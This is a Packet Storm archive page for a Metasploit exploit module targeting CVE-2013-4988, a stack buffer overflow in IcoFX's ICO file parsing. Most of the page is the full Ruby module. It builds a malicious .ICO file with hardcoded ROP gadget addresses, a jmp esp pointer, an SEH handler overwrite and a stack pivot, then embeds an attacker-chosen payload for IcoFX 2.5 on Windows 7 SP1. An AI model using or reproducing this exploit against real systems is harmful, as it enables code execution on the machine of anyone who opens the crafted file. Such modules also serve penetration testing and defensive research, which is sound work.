what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IcoFX Stack Buffer Overflow

IcoFX Stack Buffer Overflow
Posted Jan 3, 2014
Authored by juan vazquez, Marcos Accossatto | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability in version 2.1 of IcoFX. The vulnerability exists while parsing .ICO files, where an specially crafted ICONDIR header, providing an arbitrary long number of images into the file, can be used to trigger the overflow when reading the ICONDIRENTRY structures.

tags | exploit, overflow, arbitrary
advisories | CVE-2013-4988
SHA-256 | 8cd7f9efd93b9d23aadcbf265eaa6316d2fbab2ce2af6ffed7b083782a1ac162

IcoFX Stack Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'IcoFX Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in version 2.1
of IcoFX. The vulnerability exists while parsing .ICO files, where an specially
crafted ICONDIR header, providing an arbitrary long number of images into the file,
can be used to trigger the overflow when reading the ICONDIRENTRY structures.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Marcos Accossatto', # Vulnerability discovery, poc
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-4988' ],
[ 'OSVDB', '100826' ],
[ 'BID', '64221' ],
[ 'EDB', '30208'],
[ 'URL', 'http://www.coresecurity.com/advisories/icofx-buffer-overflow-vulnerability' ]
],
'Platform' => [ 'win' ],
'Payload' =>
{
'DisableNops' => true,
'Space' => 864,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Targets' =>
[
[ 'IcoFX 2.5 / Windows 7 SP1',
{
:callback => :target_win7,
}
],
],
'DisclosureDate' => 'Dec 10 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ico'])
], self.class)

end

def target_win7
# All the gadgets com from IcoFX2.exe 2.5.0.0

# ICONDIR structure
ico = [0].pack("v") # Reserved. Must always be 0
ico << [1].pack("v") # Image type: 1 for icon (.ico) image
# 0x66 is enough to overwrite the local variables and, finally
# the seh handler. 0x7f00 is used to trigger an exception after
# the overflow, while the overwritten SEH handler is in use.
ico << [0x7f00].pack("v")
# ICONDIRENTRY structures 102 structures are using to overwrite
# every structure = 16 bytes
# 100 structures are used to reach the local variables
ico << rand_text(652)
ico << [0x0044729d].pack("V") * 20 # ret # rop nops are used to allow code execution with the different opening methods
ico << [0x0045cc21].pack("V") # jmp esp
ico << payload.encoded
ico << rand_text(
1600 - # 1600 = 16 ICONDIRENTRY struct size * 100
652 - # padding to align the stack pivot
80 - # rop nops size
4 - # jmp esp pointer size
payload.encoded.length
)
# The next ICONDIRENTRY allows to overwrite the interesting local variables
# on the stack
ico << [2].pack("V") # Counter (remaining bytes) saved on the stack
ico << rand_text(8) # Padding
ico << [0xfffffffe].pack("V") # Index to the dst buffer saved on the stack, allows to point to the SEH handler
# The next ICONDIRENTRY allows to overwrite the seh handler
ico << [0x00447296].pack("V") # Stackpivot: add esp, 0x800 # pop ebx # ret
ico << rand_text(0xc) # padding
return ico
end

def exploit
unless self.respond_to?(target[:callback])
fail_with(Failure::BadConfig, "Invalid target specified: no callback function defined")
end

ico = self.send(target[:callback])

print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(ico)
end

end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close